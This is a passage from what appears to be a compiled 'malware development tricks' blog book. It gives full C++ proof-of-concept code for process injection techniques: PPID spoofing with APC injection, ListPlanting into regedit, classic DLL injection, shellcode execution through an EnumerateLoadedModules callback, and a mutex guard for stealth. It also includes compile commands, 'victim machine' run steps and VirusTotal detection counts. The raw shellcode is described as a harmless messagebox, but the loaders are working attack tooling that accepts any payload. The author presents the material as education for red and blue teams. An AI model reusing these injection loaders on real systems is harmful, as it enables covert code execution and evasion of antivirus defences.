#include <iostream>

int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

297
int main(int argc, char* argv[]) {
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T st;
int pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}

HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);

ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &st);
si.lpAttributeList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL);

298
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE,


CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL,
NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi);
LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T *nb = 0;
BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload,
sizeof(my_payload), nb);

QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);


ResumeThread(pi.hThread);
CloseHandle(pi.hThread);

return 0;
}
As you can see, I reused my code from this and this posts.
Here I have hardcoded a bit the process which being started, you can modify
it so that it accepts it from the command-line arguments

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then run it on the victim’s machine:


.\hack.exe explorer.exe

299
Run Process Hacker and as you can see, mspaint.exe process successfully created
(PID: 4720):

And:

300
as you can see, parent process is 2876 which is corresponds to explorer.exe, but
current directory is Z:\2022-09-06-malware-tricks-23!
And what is in the process memory?

301
So everything is work perfectly :)
Actually I deceived you a little. in my example goes not just parent process spoofing.
It’s a combination of PPID spoofing and APC injection. Because I am also learning new
things like you and sometimes you need to ask yourself questions and don’t be afraid to
experiment.
Let’s go to upload hack.exe to VirusTotal:

So, 20 of 70 AV engines detect our file as malicious.


https://www.virustotal.com/gui/file/3ec9f1080253f07695f0958ae84e99ff065f052c
409f0f7e3e1a79cd4385a9d5/detection
This technique is used in Cobalt Strike and KONNI RAT. For example Cobalt Strike can
spawn processes with alternate PPIDs.

302
Originally this technique was introduced into the wider information security audience
in 2009 by Didier Stevens
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Didier Stevens: That Is Not My Child Process!
MITRE ATT&CK: Parent PID spoofing
Cobalt Strike
KONNI
CreateProcessA
Find process ID by name and inject to it
APC injection technique
source code in github

303
37. malware development tricks. Listplanting. C++ example.

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research into the malware dev trick: Listplanting.
Using the LVM_SORTGROUPS, LVM_INSERTGROUPSORTED, and LVM_SORTITEMS mes-
sages, a ListView control’s items and groups can have their sorting behavior modified
to suit individual preferences. List-view controls are user interface windows that display
groups of things. A SysListView32 control stores information about an application’s
list-view settings in the process’ memory.
ListPlanting may be performed by copying code into the virtual address space of a process
that uses a list-view control then using that code as a custom callback for sorting the
listed items.

practical example
Let’s go to look at a practical example. The trick is pretty simple:
First of all, get windows handle:
HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
HWND hw = FindWindowEx(wpw, 0, (LPCSTR)"SysListView32", 0);
Then, get process ID, and open it (get process handle by OpenProcess):
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
At the next step, we allocate RWX-memory via VirtualAllocEx and “copy” payload:

304
mem = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_RE

// copy payload
WriteProcessMemory(ph, mem, my_payload, sizeof(my_payload), NULL);
Finally, trigger payload:
// trigger payload
PostMessage(hw, LVM_SORTITEMS, 0, (LPARAM)mem);
According to documentation, PostMessage - Places (posts) a message in the message
queue associated with the thread that created the specified window and returns without
waiting for the thread to process the message.
The full source code of my PoC:
/*
hack.cpp
code injection Listplanting
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html
*/
#include <windows.h>
#include <commctrl.h>
#include <iostream>
#pragma comment (lib, "user32.lib")

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"

305
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE ph;
DWORD pid;
LPVOID mem;

// find window
HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
HWND hw = FindWindowEx(wpw, 0, (LPCSTR)"SysListView32", 0);

// obtain the process id and try to open process


GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// allocate RWX memory


mem = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// copy payload
WriteProcessMemory(ph, mem, my_payload, sizeof(my_payload), NULL);

// trigger payload
PostMessage(hw, LVM_SORTITEMS, 0, (LPARAM)mem);

// free memory
VirtualFreeEx(ph, mem, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(ph);

return 0;
}
As you can see, as usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"

306
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, run Registry Editor in the victim machine (Windows 10 x64 in my case):

307
And, run our hack.exe:
.\hack.exe

308
Run as Administrator, because for injecting to Registry Editor (regedit.exe) requires
elevated privileges.
For correctness, run Process Hacker 2 as Administrator and check memory tab:

309
As you can see, everything is work perfectly :)
Let’s go to upload hack.exe to VirusTotal:

310
So, 19 of 71 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/a1037630f95f721c6a7a1b6d8c278b4e926253b3
888ac838d507af8c8baf8844/detection
This technique is used in InvisiMole. InvisiMole is a modular spyware software that the
InvisiMole Group has been using since at least 2013.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
ATT&CK MITRE: ListPlanting
InvisiMole
PostMessage
source code in github

311
38. malware development tricks. EnumerateLoadedModules. C++
example.

This post is the result of my own research into the malware dev trick: shellcode running
via EnumerateLoadedModules.

listing the loaded modules


EnumerateLoadedModules API can be used to retrieve an application’s loaded mod-
ules. Using this API, the list of loaded modules can be dumped for debugging purposes
during the development of error handler frameworks, crash dumps, etc:
BOOL IMAGEAPI EnumerateLoadedModules(
[in] HANDLE hProcess,
[in] PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,
[in, optional] PVOID UserContext
);
For calling EnumerateLoadedModules we need to provide a callback pointer. The
EnumerateLoadedModules will send the loaded module information as callback to
that provided function.

practical example 1. print modules


For example, first of all create simplest callback function:
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,

312
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;
}
Then, just use this function as a second argument:
EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
So, full code is something like this:
#include <iostream>
#include <windows.h>
#include <dbghelp.h>

#pragma comment (lib, "dbghelp.lib")

// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;
}

int main(int argc, char *argv[]) {


// inject a DLL into remote process
HANDLE ph = GetCurrentProcess();
// enumerate modules
printf("\nenumerate modules... \n");
EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
return 0;
}

demo 1
Let’s go to see first example in action. Compile our script hack.cpp:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

313
Then, just run on Windows machine (Windows 10 x64 in our case):
.\hack.exe

As you can see, everything is worked perfectly!

practical example 2. inject dll


Let’s say we have a malware with classic DLL injection logic hack2.cpp:
#include <iostream>
#include <windows.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char *argv[]) {


// inject a DLL into remote process
HMODULE hKernel32 = GetModuleHandle("Kernel32");

314
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));


LPVOID rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);


HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);

CloseHandle(ph);
return 0;
}
And then, we modify this code a little bit: we add EnumerateLoadedModules API call
with previous callback function:
/*
hack2.cpp
DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html
*/
#include <iostream>
#include <windows.h>
#include <dbghelp.h>

#pragma comment (lib, "dbghelp.lib")

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;
}

int main(int argc, char *argv[]) {


// inject a DLL into remote process

HMODULE hKernel32 = GetModuleHandle("Kernel32");


VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

315
HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

LPVOID rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT),


PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);

// enumerate modules
printf("\nenumerate modules... \n");
EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);

CloseHandle(ph);
return 0;
}
For simplicity, as usually, my “evil” DLL is just meow messagebox (evil.c):
/*
evil.c
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {


switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

316
return TRUE;
}

demo 2
Let’s go to see everything in action again.
First of all, compile our “evil” DLL:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

At the next step, compile our DLL injecting malware:


x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

And finally, run it for mspaint.exe process on victim’s machine (Windows 10 x64
in my case):
.\hack2.exe <mspaint PID>

317
As you can see, our callback function printed our “evil” DLL. Perfect!

practical example 3. shellcode running via callback function.


This is the most interesting example. It turns out that you can run shellcode using the
callback function in this API:
/*
* hack3.cpp - run shellcode via EnumerateLoadedModules. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2022/12/21/malware-tricks-25.html
*/
#include <windows.h>
#include <dbghelp.h>

318
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumerateLoadedModules(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK)mem, NULL);
return 0;
}
If you have been reading my blog for a long time, then I think you have a deja vu. As
you can see, it’s similar to run shellcode via EnumDesktopsA and EnumChildWindows.
The only difference is just add dbghelp.h. As usually, for simplicity I used meow-meow
messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"

319
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo 3
Let’s go to see running shellcode in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack3.cpp -o hack3.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

Then, run on a victim’s machine:


.\hack3.exe

320
As you can see everything is worked perfectly, as expected!
Let’s go to upload hack3.exe to VirusTotal:

321
So, 20 of 71 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/6fe8e9fe9593780a620903a33d3fda025946e770
781eb997490c109fd95303ed/detection
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
EnumerateLoadedModules
Classic DLL injection
Malware dev tricks. Run shellcode via EnumChildWindows
Malware dev tricks. Run shellcode via EnumDesktopsA
source code in github

322
39. malware development tricks. Mutex. C++ example.

This post is the result of my own research into the malware dev trick: prevent self-
execution via mutexes.
Sometimes, when developing malware, for maximum stealth, it is necessary that the
program be launched only once. To do this, according to the MSDN documentation, we
can use mutexes.

mutex
For simplicity, we can use CreateMutexA function from Windows API:
HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCSTR lpName
);

practical example
In the simplest implementation, you can use this function in this way:
create mutex with specific name, so multiple instances can detect it:
hMutex = CreateMutexA(NULL, FALSE, "MeowMeowMutex");
check if mutex already exists, exit from app:
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// if this process created the mutex, exit the application
if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {

323
CloseHandle(hMutex);
return 0;
}
}
otherwise, run malicious logic and close the mutex when done:

//...
// malicious logic
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);

//...

// cleanup
if (hMutex)
CloseHandle(hMutex);
return 0;
So, full source code is looks like:
/*
* hack.cpp - Create mutex, run shellcode. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html
*/
#include <windows.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"

324
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
